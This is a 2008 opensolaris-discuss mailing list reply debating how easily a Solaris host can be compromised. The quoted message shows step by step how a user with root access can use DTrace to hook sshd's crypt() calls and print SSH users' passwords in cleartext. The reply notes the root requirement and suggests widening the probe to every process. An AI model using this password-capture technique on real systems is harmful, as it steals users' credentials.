On 7 Jan 2008, at 14:37, UNIX admin wrote: >> Really, I don't know how someone would hack a Solaris >> box. > > How about this scenario: you discover a zero day exploit in SSH, > make your cd00r.c and the service it spawns invisible, but you don't > stop there. >
AFAIK cd00r.c and dtrace need root privs, I your hacker has obtained root privs you are screwed anyway... > Instead, you do some further DTrace to obtain SSH passwords from any > users logging into the system via SSH: > > ssh 127.0.0.1 > The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. > RSA key fingerprint is af:2a:b8:8b:ad:d8:55:26:02:fb:28:8b: > 86:04:d6:3f. > Are you sure you want to continue connecting (yes/no)? yes > Warning: Permanently added '127.0.0.1' (RSA) to the list of known > hosts. > Password: > > Since you're already on the system, in another window, you look up > the PID of the SSH server: > > ps -ef | grep sshd > root 352 1 0 11:20:45 ? 0:00 /usr/lib/ssh/sshd > root 8287 352 0 13:21:55 ? 0:00 /usr/lib/ssh/sshd > root 8295 8241 0 13:22:46 pts/5 0:00 grep sshd > > Since we know that sshd(1M) spawns a new child process for every new > connection, it's not PID 352 for sure. So it must be PID 8287, since > PIDs are incremented sequentially. > > Let's use this knowledge. Using the DTrace pid provider in another > window, let's monitor all the entry probes for PID 8287: > > su - > Password: And where did the hacker get this password from ? > > dtrace -n 'pid8287:::entry [EMAIL PROTECTED] = > count();}' > dtrace: description 'pid8297:::entry ' matched 18889 probes > > 18889 probes! Ouch. Analysis on which function does the SSH decrypt > could take years; so obviously, we'll have to use our brains a > little, instead of slaving away like a monkey behind a keyboard. > Let's fudge up the password, twice, and narrow the results: > > ssh 127.0.0.1 > Password: > Password: > > Let's see what happens in the other window in the meanwhile: > > dtrace -n 'pid8297:::entry [EMAIL PROTECTED] = > count();}' > dtrace: description 'pid8297:::entry ' matched 18889 probes > ^C > _free_config 1 ... quite a few lines of dtrace output deleted. > So let's think about this a little further. What do we know about > "run o' the mill" passwd authentication? > > Passwords are stored in /etc/shadow. In crypt(1) format, unless PAM > authentication is used, or passwd encryption isn't reconfigured > (Solaris has a way to do this, see http://docs.sun.com/). Therefore, > it's highly likely, following this line of logic, that SSH after > decryption "off of the wire" must call crypt(1) to compare the > results with what is in /etc/shadow. > > The only "problem" at this point is that we don't know in which argv > the passwd argument will be sent to crypt(). Fortunately, UNIX(R) > loves us, since the manual tells us so: > > man -s 3C crypt > Standard C Library Functions crypt(3C) > > NAME > crypt - string encoding function > > SYNOPSIS > #include <crypt.h> > > char *crypt(const char *key, const char *salt); > > The first argument, arg0, will be a pointer to a char array! So: > > dtrace -n 'pid8412::crypt:entry {printf("%s\n", copyinstr(arg0));}' > dtrace: description 'pid8412::crypt:entry ' matched 1 probe > CPU ID FUNCTION:NAME > 0 41288 crypt:entry juhu-hu > Why limit this to only one pid ? Just have it trigger on all crypts and you might even get some telnet users..... > BUSTED! Another one bites the dust. > > I hope, by the end of reading this *trivial* example, that you're at > least a little concerned about how easy it is to break into a > Solaris box. I just wanted to point out that, although Solaris is > much, much more secure and resistant to attacks when compared to > other operating systems, depending on who you're dealing with, > breaking into your "secure" Solaris box is a walk in the park. Don't > be lulled by a false sense of security. > Trivial if you have root ( or the required dtrace privileges), probably a lot harder without them. Paul _______________________________________________ opensolaris-discuss mailing list opensolaris-discuss@opensolaris.org